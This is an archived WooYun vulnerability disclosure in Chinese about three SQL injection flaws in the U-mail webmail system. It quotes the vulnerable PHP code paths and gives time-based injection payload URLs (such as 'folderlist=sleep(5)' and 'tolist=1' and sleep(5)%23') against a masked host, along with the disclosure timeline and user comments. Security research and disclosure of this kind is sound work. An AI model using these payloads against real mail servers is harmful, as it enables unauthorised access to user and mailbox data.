当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2014-83794

漏洞标题: U-mail邮件服务系统最新版3个SQL注入漏洞打包

相关厂商: cncert国家互联网应急中心

漏洞作者: loopx9认证白帽子

提交时间: 2014-11-21 10:22

公开时间: 2015-02-17 10:24

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 18

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 php源码分析

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-21: 细节已通知厂商并且等待厂商处理中
2014-11-24: 厂商已经确认,细节仅向厂商公开
2014-11-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-01-18: 细节向核心白帽子及相关领域专家公开
2015-01-28: 细节向普通白帽子公开
2015-02-07: 细节向实习白帽子公开
2015-02-17: 细节向公众公开

简要描述:

sql注入(需要登录)。

详细说明:

注入点1:

\client\mail\module\views.php:

code 区域
if ( ACTION == "mail-compose" )
{

$draft_mail = gss( $_GET['draft'] );

$forward_mail = gss( $_GET['forward'] );

$reply_mail = gss( $_GET['reply'] );

$mailbox = gss( $_GET['mailbox'] );

$write_again = gss( $_GET['write_again'] );

$is_sendfile = gss( $_GET['sendfile'] );

$is_share = gss( $_GET['share'] );
....
if ( $is_share || $is_sendfile )

{

include_once( LIB_PATH."Netdisk.php" );

$Netdisk = Netdisk::getinstance( );

$folder_list = trim( $_GET['folderlist'] ); //未过滤1
$file_list = trim( $_GET['filelist'] );//未过滤2:见wooyun-2014-076147

$file_all = array( );

...

if ( $folder_list )
{
$Netdisk->initTreeObject( $user_id, 0 );
$folder_list = explode( ",", $folder_list );
foreach ( $folder_list as $folder_id ) //拆分
{
$file_arr = $Netdisk->getAllFileByFolderID( $user_id, $folder_id, "file_id,file_name,file_size,folder_id", 0 );//跟进getAllFileByFolderID
$file_all = array_merge( $file_all, $file_arr );
}
}
public function getAllFileByFolderID( $_obfuscate_nQNptTJPg, $_obfuscate_zssh37DIFOEb, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBw = FALSE )
{
$_obfuscate_SD_daSU6LK1F2A = $this->Tree->get_child_id( $_obfuscate_zssh37DIFOEb );//跟进get_child_id,无影响,可视为直接return
$_obfuscate_IRFhnYw = "user_id='".$_obfuscate_nQNptTJPg."' AND folder_id IN (".$_obfuscate_SD_daSU6LK1F2A.")";//进入sql语句
$_obfuscate_6RYLWQ = $this->get_file( array( "fields" => $_obfuscate_tjILu7ZH, "where" => $_obfuscate_IRFhnYw, "orderby" => "file_name", "debug" => $_obfuscate_ySeUHBw ) );
return $_obfuscate_6RYLWQ;
}

public function get_child_id( $_obfuscate_qPyPrVFCFw "-1" )
{
if ( isset( $this->data_cache[$_obfuscate_qPyPrVFCFw) ) //$_obfuscate_qPyPrVFCFw可控,可以不进入if
{
foreach ( $this->data_cache[$_obfuscate_qPyPrVFCFw] as $_obfuscate_kAoKz_kijKk => $_obfuscate_6RYLWQ)
{
$_obfuscate_qPyPrVFCFw= ",".$this->get_child_id( $_obfuscate_kAoKz_kijKk);
}
}
return $_obfuscate_qPyPrVFCFw;//直接返回
}



get_child_id函数可视为无影响,回到getAllFileByFolderID函数,第二个参数最后进入sql语句,没有引号保护,注入产生。payload:

code 区域
http://**.**.**.**:8080/webmail/client/mail/index.php?module=view&action=mail-compose&share=1&folderlist=sleep(5)



1.png





注入点2:

\client\mail\module\views.php:

code 区域
if ( ACTION == "mail-compose" )
{
$draft_mail = gss( $_GET['draft'] );
$forward_mail = gss( $_GET['forward'] );
$reply_mail = gss( $_GET['reply'] );
$mailbox = gss( $_GET['mailbox'] );
$write_again = gss( $_GET['write_again'] );
$is_sendfile = gss( $_GET['sendfile'] );
$is_share = gss( $_GET['share'] );
$to_addr = stripslashes( gss( $_GET['toaddr'] ) );
$to_list = stripslashes( gss( $_GET['tolist'] ) );//有stripslashes可以引入单引号,不受GPC影响
$to_pab = gss( $_GET['topab'] );
$to_oab = gss( $_GET['tooab'] );
$to_cab = gss( $_GET['tocab'] );
$to_share = gss( $_GET['domain_id'] );
$op = gss( $_GET['op'] );
$domain_name = get_session( "domain_name" );
$user_prefs = $Mailbox->getPrefsByUserID( $user_id, "*", 0 );
$to = "";
if ( $to_addr )
{
$to_arr = explode( ",", $to_addr );
foreach ( $to_arr as $item )
{
$to .= $item.";";
}
}
if ( $to_list )
{
$to_arr = explode( ",", $to_list );//拆分
foreach ( $to_arr as $mailbox_id )
{
$userinfo = $Mailbox->getMailboxByID( $domain_id, $mailbox_id, "Mailbox,FullName", 0 );//跟进getMailboxByID
$to .= "\"".$userinfo['FullName']."\" <".$userinfo['Mailbox']."@".$domain_name.">;";
}
}

public function getMailboxByID( $_obfuscate_AkPSczrCIu40, $_obfuscate_sR_QfZUaLVs, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBw = FALSE )
{
$_obfuscate_IRFhnYw = "DomainID='".$_obfuscate_AkPSczrCIu40."' AND UserID='".$_obfuscate_sR_QfZUaLVs."'";//第二个参数进入sql语句
$_obfuscate_6RYLWQ = $this->getone_mailbox( $_obfuscate_IRFhnYw, $_obfuscate_tjILu7ZH, $_obfuscate_ySeUHBw );
return $_obfuscate_6RYLWQ;
}



payload:

code 区域
http://**.**.**.**:8080/webmail/client/mail/index.php?module=view&action=mail-compose&tolist=1' and sleep(5)%23



2.png





注入点3:

\client\oab\module\views.php

code 区域
if ( ACTION == "contact-detail" )
{
$member_id = gss( $_GET['id'] );//传入,没有过滤
$mailbox = $Mailbox->getMailboxByID( $domain_id, $member_id, "UserID,DomainID,Mailbox,FullName,EnglishName", 0 );
$info = $mailbox['UserID']( $mailbox['UserID'], "*", 0 );
$userinfo = array( );
$userinfo['fullname'] = $mailbox['FullName'];
$userinfo['englishname'] = $mailbox['EnglishName'];
$userinfo['mailbox'] = $mailbox['Mailbox'];
$userinfo['email'] = $mailbox['Mailbox']."@".$domain_name;
$userinfo['sex'] = $info['sex'];
$userinfo['birthday'] = $info['birthday'];
$userinfo['mobile'] = $info['mobil'];
$userinfo['tel'] = $info['teleextension'];
$userinfo['extnum'] = $info['extnum'];
$userinfo['worknum'] = $info['worknum'];
$userinfo['memo'] = $info['memo'];
$userinfo['position'] = $info['headship'];
$userinfo['group_num'] = $info['o_group'];
$userinfo['im'] = $info['qqmsn'];
unset( $mailbox );
unset( $info );
$arr_tmp = $Department->getDepartmentIDByMailboxID( $member_id, 0 );//跟进getDepartmentIDByMailboxID
$dept_list = $Department->getDepartmentByMailboxID( $member_id, "dept_id,name", 0 );
include( load_tpl( "oab_contact_detail" ) );
}
public function getDepartmentIDByMailboxID( $_obfuscate_lElOUq0K, $_obfuscate_ySeUHBw = FALSE )
{
$_obfuscate_IRFhnYw = "user_id IN (".$_obfuscate_lElOUq0K.")";//第一个参数直接进入sql
$_obfuscate_igIf6o4CjQ = $this->get_map( array( "fields" => "*", "where" => $_obfuscate_IRFhnYw, "orderby" => "dept_id", "debug" => $_obfuscate_ySeUHBw ) );
$_obfuscate_zLN8L_tQlCQ = get_array( $_obfuscate_igIf6o4CjQ, "dept_id", "string" );
return $_obfuscate_zLN8L_tQlCQ;
}



payload:

code 区域
http://**.**.**.**:8080/webmail/client/oab/index.php?module=view&action=contact-detail&id=sleep(5)



3.png

漏洞证明:

sql injection 1:

code 区域
http://**.**.**.**:8080/webmail/client/mail/index.php?module=view&action=mail-compose&share=1&folderlist=sleep(5)



1.png



sql injection 2:

code 区域
http://**.**.**.**:8080/webmail/client/mail/index.php?module=view&action=mail-compose&tolist=1' and sleep(5)%23



2.png



sql injection 3:

code 区域
http://**.**.**.**:8080/webmail/client/oab/index.php?module=view&action=contact-detail&id=sleep(5)



3.png

修复方案:

请厂商快点修复吧。

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-11-24 08:13

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-11-19 10:42 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    2

    是2次注入吧,还是说之前提的注入没补?

  2. 2014-11-19 11:38 | loopx9 认证白帽子 ( 普通白帽子 | Rank:799 漏洞数:82 | ..)
    1

    @pandas 搜索了一下,没有发现重复。

  3. 2014-11-19 15:21 | loopx9 认证白帽子 ( 普通白帽子 | Rank:799 漏洞数:82 | ..)
    1

    被截断了,漏洞详细显示不全

  4. 2015-02-18 01:21 | 世纪缘 ( 路人 | Rank:2 漏洞数:4 | 专注无线网络安全!)
    0

    三个金钱是多钱?

  5. 2015-02-23 17:13 | qq2078933383 ( 路人 | Rank:0 漏洞数:1 | 关注漏洞)
    0

    你有qq拿吗,加下我,2078933383

登录后才能发表评论,请先 登录